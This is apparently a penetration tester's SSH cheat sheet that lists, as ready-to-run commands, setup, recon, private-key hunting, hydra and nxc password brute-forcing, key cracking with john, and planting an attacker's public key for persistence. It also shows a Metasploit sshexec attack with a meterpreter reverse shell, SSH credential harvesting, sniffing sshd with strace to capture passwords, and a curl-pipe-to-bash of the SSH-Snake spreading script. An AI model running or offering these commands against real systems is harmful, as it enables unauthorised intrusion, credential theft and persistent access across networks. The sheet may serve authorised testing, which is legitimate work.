Skip to content

Resources

CheatSheet

Commands

  • Setup
    • Linux
      • Password
        apt install ssh
        nano /etc/ssh/sshd_config
        	Port 22
        	PermitRootLogin yes
        	PasswordAuthentication yes
        	PermitTTY yes
        sshd -t 
        systemctl enable ssh
        systemctl start ssh
      • Keys
        • From Client to server
          # The machine initiating the connection holds the Private Key. The machine receiving the connection holds the Public Key.
           
          ssh-keygen -t ed25519 # Client Side 
          ssh-copy-id [email protected] # Client Side 
          ssh [email protected] # No passwrod prompt 
          • Authorized Keys
            ssh-keygen -t ed25519 # Client Side
            cat ~/.ssh/id_ed25519.pub # Client Side
            nano ~/.ssh/authorized_keys # On the server 
        • From Server to client
          sudo aduser fady
          sudo su - fady
          ssh-keygen -t ed25519
          cd ~/.ssh
          cat id_ed25519.pub >> authorized_keys
          chmod 600 authorized_keys
          cat id_ed25519 # Private key will pass to the client 
           
          chmod 600 ~/.ssh/server_key # With text from id_ed25519
          ssh -i ~/.ssh/server_key [email protected]
    • Windows
      # Manuall < The Add-WindowsCapability Doesn't work most of times >
      Invoke-WebRequest -Uri "https://github.com/PowerShell/Win32-OpenSSH/releases/download/v9.5.0.0p1-Beta/OpenSSH-Win64.zip" -OutFile "$env:TEMP\OpenSSH.zip" -UseBasicParsing; Expand-Archive -Path "$env:TEMP\OpenSSH.zip" -DestinationPath "$env:ProgramFiles\" -Force; powershell.exe -ExecutionPolicy Bypass -File "$env:ProgramFiles\OpenSSH-Win64\install-sshd.ps1"; Set-Service sshd -StartupType Automatic; Start-Service sshd; New-NetFirewallRule -Name sshd -DisplayName 'OpenSSH Server' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22
  • Recon
    • General
      nmap -sV 192.168.1.109 -p 22
      masscan 192.168.1.109 -p22
      nc 192.168.1.109 22 
    • Auth Methods
      nmap --script ssh-auth-methods --script-args="ssh.user=root" -p 22 192.168.1.109
    • Searching
      find / -name "id_*" -o -name "*.pem" 2>/dev/null
      cat ~/.ssh/id_rsa
      cat ~/.ssh/authorized_keys
    • Configs
      sshd -V
      sudo sshd -G
  • Exploitation
    • Bruteforce
      • Username & Password
      hydra -L users.txt -P passwrods.txt 192.168.1.109 ssh
      nxc ssh 192.168.1.109 -u users.txt -p passwords.txt
      • Keys
        ssh2john id_rsa > sshhash
        john -w=/usr/share/wordlists/rockyou.txt sshhash
        • Fake Key
          echo "ssh-ed25519 AAAAC3... attacker@evil" >> ~/.ssh/authorized_keys
    • RCE
      nxc ssh 192.168.1.109 -u root -p 12345678 -x whoami
      ssh [email protected] 'ifconfig'
      sshpass -p 'Fady@Fady@123' ssh [email protected]
      • Msf
        use exploit/multi/ssh/sshexec 
        set rhosts 192.168.1.109
        set username root
        set password 12345678
        set target 2
        set payload linux/x64/meterpreter/reverse_tcp
        run
    • Download & Upload
      • nxc
        nxc ssh 192.168.1.109 -u root -p 12345678 --put-file id_rsa /tmp/id_rsa
        nxc ssh 192.168.1.109 -u root -p 12345678 --get-file /tmp/id_rsa id_rsa
      • Scp
        scp id_rsa [email protected]:/tmp/
  • Post Exploitation
    • Msf
      use post/multi/gather/ssh_creds
      set session 1
      run
    • Sniffing
      sudo strace -p "$(pgrep -f /usr/sbin/sshd)" -f -e trace=write
    • Tools
      • ssh-snake
        curl https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/Snake.nocomments.sh | bash

Tools

Notes